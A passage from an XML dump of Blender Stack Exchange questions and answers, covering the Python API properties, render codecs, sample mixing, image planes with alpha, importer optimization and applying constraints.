&lt;code&gt;scene.rna_type.properties['int_prop']&lt;/code&gt;, and the type will be &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_67_1/bpy.types.IntProperty.html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;bpy.types.IntProperty&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;bpy.types.Scene.int_prop = bpy.props.IntProperty(default=9)&#xA;&#xA;# &amp;gt; 9&#xA;print(bpy.context.scene.int_prop)&#xA;&#xA;# &amp;gt; &amp;lt;class 'int'&amp;gt;&#xA;print(type(bpy.context.scene.int_prop))&#xA;&#xA;# &amp;gt; &amp;lt;class 'bpy.types.IntProperty'&amp;gt;&#xA;print(type(bpy.context.scene.rna_type.properties['int_prop']))&#xA;&#xA;del bpy.types.Scene.int_prop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="185" LastEditorUserId="185" LastEditDate="2013-06-13T12:15:22.820" LastActivityDate="2013-06-13T12:15:22.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="994" PostTypeId="1" CreationDate="2013-06-13T05:49:29.420" Score="4" ViewCount="619" Body="&lt;p&gt;Apparently, Blender has support for this codec. But I can not get my way across it. On a Mac, there are no options to select JPEG 2000, neither for images nor movie. On Windows, I did render image sequence with JPEG 2000 with Blender 2.67, But quicktime container did not have the codec. I want to render mov files with Alpha channel - thus JPEG 2000 (Animation and PNG were giving very large file sizes, and these files are to be made available for download.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any pointers would be very helpful - horribly stuck.&lt;/p&gt;&#xA;" OwnerUserId="644" LastActivityDate="2017-01-07T04:48:54.440" Title="Can I render a MOV with Jpeg2000 Codec with Blender?" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="995" PostTypeId="2" ParentId="945" CreationDate="2013-06-13T06:49:40.210" Score="6" Body="&lt;p&gt;I downloaded your .blend file just to have a go, and although I have not been able to reproduce the 'scratches' I have noticed that the scale of the object in the Properties panel is incredibly small.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried the 'Apply' function: Ctrl A &gt; Rotation &amp;amp; Scale, to bring all three dimensions to 1.000, and found that the render result was different before and after.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KQrEP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9lmeA.png&quot; alt=&quot;Before Ctrl A&quot;&gt;&#xA;Before Ctrl A&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2vUC7.png&quot; alt=&quot;After Ctrl A&quot;&gt;&#xA;After Ctrl A&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xt4GP.png&quot; alt=&quot;Before Ctrl A&quot;&gt;&#xA;Before Ctrl A&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HLU1R.png&quot; alt=&quot;After Ctrl A&quot;&gt;&#xA;After Ctrl A&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could try this to see if it improves your result. Oh, and I removed the Mean Crease you had set on your edges (I'm not sure what that was for!).&lt;/p&gt;&#xA;" OwnerUserId="470" LastActivityDate="2013-06-13T06:49:40.210" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="996" PostTypeId="2" ParentId="766" CreationDate="2013-06-13T06:58:46.747" Score="4" Body="&lt;p&gt;To your question:&#xA;- Not directly but they are an addon to export the viewport in svg:&#xA;&quot;Export SVG&quot; by Liero -&gt;&#xA;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?282824-SVG-output-script&quot; rel=&quot;nofollow&quot;&gt;http://blenderartists.org/forum/showthread.php?282824-SVG-output-script&lt;/a&gt;&#xA;and in Inkscape, you can export in pdf normally! And voilà!&lt;/p&gt;&#xA;" OwnerUserId="646" LastActivityDate="2013-06-13T06:58:46.747" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="998" PostTypeId="2" ParentId="582" CreationDate="2013-06-13T09:56:29.377" Score="28" Body="&lt;h1&gt;Mixing Smaller Renders&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;For a still image, a possible solution is to render&#xA;less samples multiple times with the seed changed each time, and mix&#xA;the images according to the samples. For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have a scene which you would like to render at 3000 samples.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;First night you render 1000 samples with seed 0.&lt;/li&gt;&#xA;&lt;li&gt;Second night you render 1000 samples with seed 1.&lt;/li&gt;&#xA;&lt;li&gt;Third night you render 500 samples with seed 2.&lt;/li&gt;&#xA;&lt;li&gt;Fourth night you render 500 samples with seed 3.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The you take an image editor and put these images as layers:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;First render: alpha 0.33&lt;/li&gt;&#xA;&lt;li&gt;Second render: alpha 0.5&lt;/li&gt;&#xA;&lt;li&gt;Third render: alpha 0.5&lt;/li&gt;&#xA;&lt;li&gt;Fourth render: alpha 1.0&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Each layer's alpha is: current samples /&#xA;(all layers samples below + current samples)&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;5 samples:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qdpnH.png&quot; alt=&quot;5 samples&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;15 samples:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MzBWf.png&quot; alt=&quot;15 samples&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Mixed image:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sTzJn.png&quot; alt=&quot;mixed image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Added Note&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;As mentioned in the comments: The resulted image may have a slight light-loss compared to the full sampled image, however will also have less noise. You get (almost, very near, way below significance) the same result as using &lt;em&gt;Clamp Direct&lt;/em&gt; and &lt;em&gt;Clamp Indirect&lt;/em&gt; with the number of samples of the individual renders. So this light-loss will be the same as if you were to set Clamping to 100 for example, which is usually very small. When the Clamp values are already set and lower than the samples, then no additional light-loss should occur.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We discussed this topic in the comment section of some old blog posts, it might be worth reading them:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://sinmantyx.wordpress.com/2015/02/21/grave-of-the-blender-fireflies/&quot; rel=&quot;noreferrer&quot;&gt;https://sinmantyx.wordpress.com/2015/02/21/grave-of-the-blender-fireflies/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://sinmantyx.wordpress.com/2015/03/18/perfect-clamp-1/&quot; rel=&quot;noreferrer&quot;&gt;https://sinmantyx.wordpress.com/2015/03/18/perfect-clamp-1/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://sinmantyx.wordpress.com/2015/03/18/perfect-clamp-2/&quot; rel=&quot;noreferrer&quot;&gt;https://sinmantyx.wordpress.com/2015/03/18/perfect-clamp-2/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="649" LastEditorUserId="38953" LastEditDate="2017-07-25T04:42:16.767" LastActivityDate="2017-07-25T04:42:16.767" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="999" PostTypeId="2" ParentId="983" CreationDate="2013-06-13T09:59:38.900" Score="13" Body="&lt;p&gt;In blender Internal you have 'light groups' specific for this purpose. Unfortunately, in Cycles this option is still on the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.6/Source/Render/Cycles/ToDo&quot; rel=&quot;noreferrer&quot;&gt;ToDo list&lt;/a&gt;.&#xA;If you want to do this you'll need some compositing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made a small example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hahGZ.png&quot; alt=&quot;example&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Be sure to set 'exclude' layers. &lt;/li&gt;&#xA;&lt;li&gt;For the ground plane i used a separate render layer with no exclude options so the drop shadow comes from both lamps. &lt;/li&gt;&#xA;&lt;li&gt;Check the 'transparent' option in the 'film' pane of the render setting. Otherwise the background is rendered as a solid color, defined in the world settings.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="482" LastEditorUserId="482" LastEditDate="2013-06-13T13:15:02.200" LastActivityDate="2013-06-13T13:15:02.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1001" PostTypeId="2" ParentId="994" CreationDate="2013-06-13T11:13:15.273" Score="2" Body="&lt;p&gt;On OS-X you can render to PNG then open the files in preview and select export files to jpeg2000. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it should be unclear, you can export multiple files at once by having them selected in the preview sidebar (&lt;kbd&gt;Command&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just hope it does take the alpha channel into account, haven't tested that yet.&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="2217" LastEditDate="2017-01-07T04:48:54.440" LastActivityDate="2017-01-07T04:48:54.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1003" PostTypeId="1" CreationDate="2013-06-13T11:35:13.067" Score="12" ViewCount="3930" Body="&lt;p&gt;I am using a series of .png images (from green screen footage) with alpha channels. However, when I try to import image(s) as plane(s) in a rendered scene, the image is blurry with anti-aliasing off. If I turn on anti-aliasing, then I get a frame artifact around the image plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, is there a way to setup the plane so objects behind transparent parts of the image can be seen? I am using Blender Internal and an AMD Radeon HD 5770 graphics card.&lt;/p&gt;&#xA;" OwnerUserId="651" LastEditorUserId="1253" LastEditDate="2014-12-17T06:37:02.300" LastActivityDate="2014-12-17T06:37:02.300" Title="Importing PNG series with Import Image as Plane is blurred and has artefacts" Tags="&lt;rendering&gt;&lt;image&gt;&lt;add-on&gt;&lt;antialiasing&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1004" PostTypeId="2" ParentId="1003" CreationDate="2013-06-13T11:56:40.813" Score="10" Body="&lt;p&gt;Nice default settings are to make sure you have &lt;em&gt;Z Transparency&lt;/em&gt; as shown below in the &lt;em&gt;Alpha Mode&lt;/em&gt; group.. also tick &lt;em&gt;Shadeless&lt;/em&gt; as this makes them insensitive to light or shadow and will make them &lt;em&gt;not&lt;/em&gt; appear blurry when rendered. You can enable this before or after importing the image(s).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bOeb3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The images come in clean with the alpha setup nicely. As you can see, they can also be layered etc, they might look a bit aliased in the 3d viewport but when rendered show very nicely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the &lt;em&gt;artefacts&lt;/em&gt; you might have seen is because they are intersecting with each other, try spacing them apart a bit on the &lt;em&gt;Z axis&lt;/em&gt; etc..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are the planes below in the 3d viewport after importing, the ones on the left have been spaced, while the ones on the right are in the default position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oEOYSm.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ADBJ0m.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how they look &lt;strong&gt;without&lt;/strong&gt; &lt;em&gt;Shadeless&lt;/em&gt; enabled when rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zT8sXl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is how they look &lt;strong&gt;with&lt;/strong&gt; &lt;em&gt;Shadeless&lt;/em&gt; enabled when rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CTS6rl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-06-13T18:56:07.187" LastActivityDate="2013-06-13T18:56:07.187" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1005" PostTypeId="1" AcceptedAnswerId="1024" CreationDate="2013-06-13T12:15:22.630" Score="3" ViewCount="238" Body="&lt;p&gt;I have a working importer that needs to handle large data sets ie. thousands of primitives.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I import a file containing 2500 objects it takes roughly 90 seconds to import. Now if I import the same scene through the obj importer it takes about 10 -15 seconds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do to optimize this? Here is part of the code below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    #read each line of the .ssynth file&#xA;for line in file:&#xA;    if  objCount % 25000 == 0:&#xA;        print (&quot;Import progress report: &quot; + str(objCount) + &quot; objects&quot;)&#xA;        args = line.split()&#xA;        argsIndex = 0&#xA;        colR = 1&#xA;        colB = 1&#xA;        colG = 1&#xA;&#xA;    #begin sphere shape. here we import any spheres&#xA;    if args[argsIndex] == &quot;s&quot;:&#xA;        argsIndex += 1&#xA;        cx = float(args[argsIndex])&#xA;        argsIndex += 1&#xA;        cy = float(args[argsIndex])&#xA;        argsIndex += 1&#xA;        cz = float(args[argsIndex])&#xA;        argsIndex += 1&#xA;        radius = float(args[argsIndex])&#xA;        argsIndex += 1&#xA;&#xA;        colR = float(args[argsIndex])&#xA;        argsIndex += 1&#xA;        colG = float(args[argsIndex])&#xA;        argsIndex += 1&#xA;        colB = float(args[argsIndex])&#xA;        argsIndex += 1&#xA;&#xA;        # Set the Alpha - maybe we can use this later&#xA;        alpha = 1.0&#xA;&#xA;        meshSphere =  bpy.ops.mesh.primitive_ico_sphere_add(subdivisions=2, size=radius, location=([cx, cy, cz,]))&#xA;&#xA;        #convert rgb values to hex for group naming&#xA;        def rgb_to_hex(rgb):&#xA;            return '#%02x%02x%02x' % rgb&#xA;&#xA;        # Let's set the Object Color&#xA;        bpy.context.object.color = (colR, colG, colB, alpha)&#xA;        # Name for grouping&#xA;        matName = rgb_to_hex((colR,colG,colB))&#xA;        # Add a material slot to each object&#xA;        bpy.ops.object.material_slot_add()&#xA;        # Find the active material&#xA;        bpy.context.object.active_material_index = 0&#xA;        # Add that material to the slot of each object&#xA;        bpy.context.object.active_material = bpy.data.materials[&quot;SSmat&quot;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="438" LastEditorUserId="438" LastEditDate="2013-06-19T16:22:32.063" LastActivityDate="2013-06-19T16:22:32.063" Title="How can I optimize the code to parse lines in a file?" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1006" PostTypeId="2" ParentId="992" CreationDate="2013-06-13T12:18:22.000" Score="9" Body="&lt;p&gt;&lt;code&gt;bpy.types.IntProperty&lt;/code&gt; is a &lt;em&gt;type&lt;/em&gt;, used for the property descriptions in the RNA system for any int property. E.g. you get&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; type(bpy.data.scenes['Scene'].bl_rna.properties['frame_start'])&#xA;&amp;lt;class 'bpy.types.IntProperty'&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that i did not actually use &lt;code&gt;bpy.data.scenes['Scene'].frame_start&lt;/code&gt;. That would actually evaluate the property and return a standard python int value, not the property definition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bpy.props.IntProperty&lt;/code&gt; on the other hand is a &lt;em&gt;function&lt;/em&gt; which creates such a property definition (a constructor).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Technically it's slightly more complicated because in order to create the property as part of a class the function returns a temporary tuple of another function and the arguments you passed. This is then used by a metaclass to create the actual &lt;code&gt;IntProperty&lt;/code&gt; and put it inside the class definition.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; bpy.props.IntProperty(name=&quot;Hello&quot;)&#xA;(&amp;lt;built-in function IntProperty&amp;gt;, {'name': 'Hello'})&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="436" LastEditorUserId="55" LastEditDate="2013-06-26T14:54:33.047" LastActivityDate="2013-06-26T14:54:33.047" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1007" PostTypeId="2" ParentId="974" CreationDate="2013-06-13T12:44:50.987" Score="6" Body="&lt;ul&gt;&#xA;&lt;li&gt;For trees, you should model enough roots past the origin that go into the ground for worst case scenarios.&lt;/li&gt;&#xA;&lt;li&gt;For rocks, you can use &lt;em&gt;Rigid Body Physics&lt;/em&gt; and let the simulation settle them on the ground.&lt;/li&gt;&#xA;&lt;li&gt;For other types of objects that need to be deformed to sit on a surface, you can use the &lt;em&gt;Shrinkwrap&lt;/em&gt; object modifier.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/81kbg.gif&quot; alt=&quot;Shrinkwrap example&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="20508" LastEditDate="2016-07-01T15:21:38.953" LastActivityDate="2016-07-01T15:21:38.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1008" PostTypeId="2" ParentId="882" CreationDate="2013-06-13T13:01:34.680" Score="36" Body="&lt;p&gt;This script gives projected the 2D pixel coordinate from a 3D world-space location.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The &lt;code&gt;(0, 0)&lt;/code&gt; origin is the bottom left of the image&lt;br&gt;&lt;em&gt;(common for math, OpenGL and Blender in general)&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;A negative &lt;code&gt;Z&lt;/code&gt; return value means the point is behind the camera:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&lt;pre class=&quot;lang-py prettyprint-override&quot;&gt;&lt;code&gt;# Test the function using the active object (which must be a camera)&#xA;# and the 3D cursor as the location to find.&#xA;import bpy&#xA;import bpy_extras&#xA;&#xA;scene = bpy.context.scene&#xA;obj = bpy.context.object&#xA;co = bpy.context.scene.cursor_location&#xA;&#xA;co_2d = bpy_extras.object_utils.world_to_camera_view(scene, obj, co)&#xA;print(&amp;quot;2D Coords:&amp;quot;, co_2d)&#xA;&#xA;# If you want pixel coords&#xA;render_scale = scene.render.resolution_percentage / 100&#xA;render_size = (&#xA;    int(scene.render.resolution_x * render_scale),&#xA;    int(scene.render.resolution_y * render_scale),&#xA;)&#xA;print(&amp;quot;Pixel Coords:&amp;quot;, (&#xA;      round(co_2d.x * render_size[0]),&#xA;      round(co_2d.y * render_size[1]),&#xA;))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;See the Python &lt;a href=&quot;https://developer.blender.org/diffusion/B/browse/master/release/scripts/modules/bpy_extras/object_utils.py$285&quot; rel=&quot;nofollow noreferrer&quot;&gt;Source-Code&lt;/a&gt; if you're interested in exactly how this works.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2021-03-09T11:25:57.927" LastActivityDate="2021-03-09T11:25:57.927" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="1009" PostTypeId="5" CreationDate="2013-06-13T13:24:01.077" Score="0" Body="&lt;p&gt;The &lt;a href=&quot;http://www.blender.org/documentation/250PythonDoc/&quot; rel=&quot;nofollow&quot;&gt;Blender Python API&lt;/a&gt; (bpy) is a collection of Python modules (libraries) that give access to part of the program's internal data and functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_release/info_quickstart.html&quot; rel=&quot;nofollow&quot;&gt;quickstart introduction page&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Blender/Python API can do the following:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Edit any data the user interface can (Scenes, Meshes, Particles etc.)&lt;/li&gt;&#xA;  &lt;li&gt;Modify user preferences, keymaps and themes&lt;/li&gt;&#xA;  &lt;li&gt;Run tools with own settings&lt;/li&gt;&#xA;  &lt;li&gt;Create user interface elements such as menus, headers and panels&lt;/li&gt;&#xA;  &lt;li&gt;Create new tools&lt;/li&gt;&#xA;  &lt;li&gt;Create interactive tools&lt;/li&gt;&#xA;  &lt;li&gt;Create new rendering engines that integrate with Blender&lt;/li&gt;&#xA;  &lt;li&gt;Define new settings in existing Blender data&lt;/li&gt;&#xA;  &lt;li&gt;Draw in the 3D view using OpenGL commands from Python&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;The Blender/Python API &lt;strong&gt;can’t&lt;/strong&gt; (yet)...&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Create new space types.&lt;/li&gt;&#xA;  &lt;li&gt;Assign custom properties to every type.&lt;/li&gt;&#xA;  &lt;li&gt;Define callbacks or listeners to be notified when data is changed.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditDate="2013-08-12T12:08:25.933" LastActivityDate="2013-08-12T12:08:25.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1010" PostTypeId="4" CreationDate="2013-06-13T13:24:01.077" Score="0" Body="The Blender Python API (bpy) is a collection of Python modules (libraries) that give access to part of the program's internal data and functions." OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-06-13T13:47:14.163" LastActivityDate="2013-06-13T13:47:14.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1011" PostTypeId="5" CreationDate="2013-06-13T13:30:00.823" Score="0" Body="&lt;p&gt;Curves and Surfaces are particular types of Blender objects. They are expressed by mathematical functions (interpolation) rather than linear interpolation between a series of points.&lt;/p&gt;&#xA;&lt;p&gt;Blender offers both Bézier and NURBS. Both Bézier curves and NURBS curves and surfaces are defined in terms of a set of “control points” (or “control vertices”) which define a “control polygon”.&lt;/p&gt;&#xA;&lt;p&gt;Curves at the &lt;a href=&quot;https://docs.blender.org/manual/en/2.90/modeling/curves/introduction.html#introduction&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Manual&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="15924" LastEditDate="2020-10-20T17:06:06.763" LastActivityDate="2020-10-20T17:06:06.763" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="1012" PostTypeId="4" CreationDate="2013-06-13T13:30:00.823" Score="0" Body="A Curve is an object that is expressed in terms of mathematical functions, rather than as a series of points such as vertices. Use this tag for any questions pertaining to the &quot;Curve&quot; Object type in blender. Use this tag for questions about curve object types in Blender. " OwnerUserId="12" LastEditorUserId="15924" LastEditDate="2020-10-20T17:06:18.927" LastActivityDate="2020-10-20T17:06:18.927" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="1013" PostTypeId="1" AcceptedAnswerId="1014" CreationDate="2013-06-13T14:07:14.837" Score="17" ViewCount="4916" Body="&lt;p&gt;I have a low-poly bridge model whose poles are positioned using &lt;em&gt;Clamp To&lt;/em&gt; constraints and a corresponding curve:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ulppD.png&quot; alt=&quot;Bridge, Pole_01 and ArchPathRight selected&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am looking for is a way to remove the constraints but to keep the position of all objects at the same place it was with the active constraint. Something pretty similar to applying a modifier but for constraints.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe I used just the wrong key words for searching but I haven't found any easy way to achieve this. Appears like I have to write a python script to get this done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone out there with a more elegant and simpler way to solve this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, Kay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did it the way &lt;a href=&quot;https://blender.stackexchange.com/users/12/iklsr&quot;&gt;iKlsR&lt;/a&gt; suggested and it worked fine. If others need this for a couple of objects, too: You can select all, do the &lt;em&gt;Apply Visual Transform&lt;/em&gt; at once and then choose &lt;em&gt;Clear Object Constraints&lt;/em&gt; &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;C&lt;/kbd&gt; to remove all constrains in one step.&lt;/p&gt;&#xA;" OwnerUserId="186" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2017-04-19T16:01:57.057" Title="Kind of &quot;apply&quot; for a clamp to constraint?" Tags="&lt;constraints&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1014" PostTypeId="2" ParentId="1013" CreationDate="2013-06-13T14:11:23.110" Score="27" Body="&lt;p&gt;You can just apply the &lt;em&gt;Visual Transform&lt;/em&gt;. &lt;em&gt;(read about this some more &lt;a href=&quot;https://docs.blender.org/manual/en/dev/editors/3dview/object/editing/transform/clear_apply.html?highlight=apply%20transform#visual-transform&quot; rel=&quot;noreferrer&quot;&gt;on the wiki&lt;/a&gt;)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bring up the &lt;em&gt;Apply&lt;/em&gt; menu with &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;A&lt;/kbd&gt; and choose &lt;em&gt;Apply Visual Transform&lt;/em&gt;, or alternatively, select the object, press &lt;kbd&gt;Space&lt;/kbd&gt; and type &lt;em&gt;Apply Visual Transform&lt;/em&gt; and select the option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then safely delete the constraint.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2017-04-19T16:01:57.057" LastActivityDate="2017-04-19T16:01:57.057" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1015" PostTypeId="1" AcceptedAnswerId="1019" CreationDate="2013-06-13T14:21:32.173" Score="5" ViewCount="3118" Body="&lt;p&gt;Because I want to use on the mold.But the blender uv size is always fixed at 36.12cm * 36.12cm. &lt;/p&gt;&#xA;" OwnerUserId="653" LastActivityDate="2015-11-25T03:18:30.753" Title="How to Export proportional UV Layout in blender?" Tags="&lt;uv&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1017" PostTypeId="5" CreationDate="2013-06-13T14:30:47.100" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/animation/constraints/index.html#constraints&quot; rel=&quot;nofollow noreferrer&quot;&gt;Constraints&lt;/a&gt; are a way to control an object’s properties (e.g. its location, rotation, scale), using either plain static values (like the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/animation/constraints/transform/limit_location.html#limit-location-constraint&quot; rel=&quot;nofollow noreferrer&quot;&gt;“limit” ones&lt;/a&gt;), or another object, called “target” (like e.g. the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/animation/constraints/transform/copy_location.html#copy-location-constraint&quot; rel=&quot;nofollow noreferrer&quot;&gt;“copy” ones).&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="15924" LastEditDate="2020-10-20T17:06:23.520" LastActivityDate="2020-10-20T17:06:23.520" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="1018" PostTypeId="4" CreationDate="2013-06-13T14:30:47.100" Score="0" Body="Constraints are object features, they control in various fashions the object's transform properties such as its position, rotation and scale. Use this tag for questions pertaining to constraints and their usage within Blender. " OwnerUserId="12" LastEditorUserId="15924" LastEditDate="2020-10-20T17:07:48.300" LastActivityDate="2020-10-20T17:07:48.300" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
